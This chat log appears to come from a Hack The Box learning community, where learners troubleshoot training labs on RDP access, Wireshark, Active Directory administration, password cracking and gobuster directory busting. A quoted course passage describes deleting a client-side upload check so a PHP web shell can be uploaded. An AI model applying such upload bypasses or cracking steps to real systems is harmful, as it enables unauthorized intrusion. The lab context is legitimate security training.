I am having the exact same issue with both xfreerdp and rdesktop: black screen. Have you found a solution?

[stuck hull]

I think someone said you could hit enter a few times to get the black screen to go away in xfreerdp

alternatively you could use Remmina

[echo roost]

anyone got a second? Is the IP range suppose to match the Active Directory Enumeration & Attacks Identifying hosts in wireshark. you asked to RDP to the target but the ip ranges are not the same when using the VPN connection and I get no ARP requests per this section -

That image is from the module. = ```Identifying Hosts

First, let's take some time to listen to the network and see what's going on. We can use Wireshark and TCPDump to "put our ear to the wire" and see what hosts and types of network traffic we can capture. This is particularly helpful if the assessment approach is "black box." We notice some ARP requests and replies, MDNS, and other basic layer two packets (since we are on a switched network, we are limited to the current broadcast domain) some of which we can see below. This is a great start that gives us a few bits of information about the customer's network setup.

Scroll to the bottom, spawn the target, connect to the Linux attack host using xfreerdp and fire up Wireshark to begin capturing traffic.
Wireshark Output```

[solar granite]

Perfect, thanks

[echo roost]

Should I use my workstation (pwnbox) for these modules instead of my kali VM connected to the vpn?

[feral stump]

You can use both I prefer VM though

[vital adder]

which section are you on?

[covert schooner]

Can anyone tell me where to get help regarding Dante Lab

[graceful rampart]

#prolabs-dante

[mortal basin]

👀

[echo roost]

Thank you, I figured it out. I have to RDP into attack machine and use wireshark on that machine to see the arp responses. Using Remmina is not ideal resolution wise.

[low vine]

Working on file uploads and walking through the example. Client-Side Validation. It shows that if i remove "checkFile" and "accept=<blahblah>" I should be able to upload. I keep getting a "bad extension" and unsure of why or how.

[fossil crescent]

and @night pier -- If still stuck on this, DM me

[low vine]

To do so, we can go back to our inspector, click on the profile image again, double-click on the function name (checkFile) on line 18, and delete it:
Tip: You may also do the same to remove accept=".jpg,.jpeg,.png", which should make selecting the PHP shell easier in the file selection dialog, though this is not mandatory, as mentioned earlier.
With the checkFile function removed from the file input, we should be able to select our PHP web shell through the file selection dialog and upload it normally with no validations, similar to what we did in the previous section.

I just feel incredibly stupid trying to follow along with this....this is extremely easy. Follow the steps....and I'm still getting extension blocks even though they've been removed client side

[low vine]

I'm

incredibly dumb and had the wrong box running

LOL

[solar granite]

~~Need some help for Introduction to Active Directory - AD Administration: Guided Lab Part I, task 3.

I did everything along the lesson, created the users, the OU and the group, then added them to the OU and group.
||Add-ADGroupMember -Identity "Security Analysts" -Members ACepheus,OStarchaser,ACallisto|| works without errors.

Then I run ||Copy-GPO -SourceName "Logon Banner" -TargetName "Security Analysts Control"||, which again works, and running it again shows it was created: Copy-GPO : The command cannot be completed because a "Security Analysts Control" GPO already exists in the INLANEFREIGHT.LOCAL domain.

But, when I try to link it to the Group with ||Set-GPLink -Name "Security Analysts Control" -Target "ou=Security Analysts,ou=IT,OU=HQ-NYC,OU=Employees,OU=Corp,dc=INLANEFREIGHT,dc=LOCAL" -LinkEnabled Yes|| it errors out:
Set-GPLink : There is no GPO named "Security Analysts Control" in the INLANEFREIGHT.LOCAL domain that is linked to the
Active Directory container with LDAP path "OU=Security
Analysts,OU=IT,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL". Make sure that a GPLink exists for the GPO
specified by the GUID parameter and the site, organizational unit (OU), or domain specified by the Path parameter.
Then, run the command again.~~

Edit: solved, thanks to viktus' post in #858470491676737536. The command to create the link is ||New-GPLink||, not ||Set-GPLink||.

[sand marten]

Hello all,

I'm working on the Password Attacks Module Lab Hard , and for hours I'm trying to crack the file you get after initial access. Tried with the provided wordlist, tried with mutations of both users and pass files, tried mutations of the enumerated users as well, but nothing does. any hints would be appreciated

Thank you

[tiny ember]

i heard previously that it takes 20-30 minutes to crack it

so maybe need a bigger list 🤷?

[sand marten]

Not sure what wordlist to use cause I'm running in circles here

[graceful rampart]

Dm me

[thorn urchin]

you try rockyou? iirc there was a couple points here and there where you needed that list instead.

[umbral river]

anyone around that has completed the File Upload Skills Assessment and willing to have a quick chat?

[sand marten]

I actually did to no avail

[light plank]

hello I am on preignition and i am on task six and its asking When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages? so i go to gobusting -h and I cant find the answer I hate asking for help but i have been on this for 30 minutes trying to figure it out

[peak hamlet]

Hi Folks, AD Enumeration & Attacks - Skills Assessment Part I - stuck on question that requires accessing the MS01 machine as an admin, would appreciate any hint on this one 🙂

[twilit halo]

Thank you Bro, we got it 🙂

[thorn urchin]

Thats pretty abnormal, the vast majority of people arent having such issues

[light plank]

hello I am on preignition and i am on task six and its asking When using gobuster to dir bust, what switch do we add to make sure it finds PHP pages? so i go to gobusting -h and I cant find the answer I hate asking for help but i have been on this for 30 minutes trying to figure it out I know this isn't the right channel but like no one is telling me how to verify my account

[thorn urchin]

Are you running pwnbox and vpn at same time by any chance?,

[graceful rampart]

To this day your the only one who ive ever seen having these issues

Thats not to discount your frustration, i get it. But its likely being caused by your setup somewhere and not HTB

[thorn urchin]

If you use both at the same time itll mess with things

[light plank]

can anyone help me>

?

[thorn urchin]

and youll get dropped connections

[thorn urchin]

http://dontasktoask.com

[graceful rampart]

-x allows you to specify extenstions to search for

[light plank]

thank you !

[light plank]

oh I was doing gobuster -h

[graceful rampart]

ah. Gobuster is broken up into modules. If you want help with a specific module you need to specify that in the command

[light plank]

oh okay thank you I went from mechanical engineer to cyber security because it seemed more fun but I am realizing now I am not as smart as I thought I was lol

[graceful rampart]

Its not a matter of being smart. Its a matter of learning a ton of new information

youll get there